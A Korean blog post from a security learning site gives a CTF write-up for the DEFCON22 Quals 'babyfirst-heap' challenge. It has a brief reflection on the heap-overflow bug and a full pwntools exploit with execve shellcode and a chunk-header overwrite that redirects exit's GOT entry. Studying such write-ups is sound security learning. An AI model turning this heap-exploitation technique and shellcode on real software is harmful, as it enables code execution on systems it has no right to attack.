Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

DEFCON22 Quals babyfirst-heap 본문

Security/Pwnable

DEFCON22 Quals babyfirst-heap

Cdor1 2016. 11. 10. 05:50

후기 : malloc을 엄청 해주고 또 free를 엄청 해주는데 그 중간에서 하나의 청크를 오버플로우 시키는 문제였다.

double free bug에 대한 기술적 접근으론 매우 똑똑한 문제였던 것 같다.

이런 느낌의 문제가 ctf에서 나온다면 잘 풀 자신감이 생겼다!




from pwn import *

s = remote('localhost', 4000)
elf = ELF('/home/cdor1/pwnable/babyfirst-heap')
exit = 0x804c8ac
shellcode = '\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80'
print s.recvuntil('[size=755]\n[ALLOC][loc=')
heap_ad = int(s.recvuntil('size=260').split(']')[0],16)
print '[*] 260_alloc : ' + hex(heap_ad)

print s.recvuntil(':')

payload = '\xeb\x13'
payload += '\x90'*100
payload += shellcode
payload += 'A'*(260 - len(payload))
payload += p32(1)
payload += p32(exit-8)
payload += p32(heap_ad)

s.sendline(payload)
print s.recv(4096)
s.interactive()


'Security > Pwnable' 카테고리의 다른 글

angr  (0) 2016.11.17
BCTF bcloud  (0) 2016.11.17
WITHCON malloc  (0) 2016.11.07
DCTF Warm Heap  (0) 2016.11.04
how2heap 번역본  (0) 2016.11.03
Comments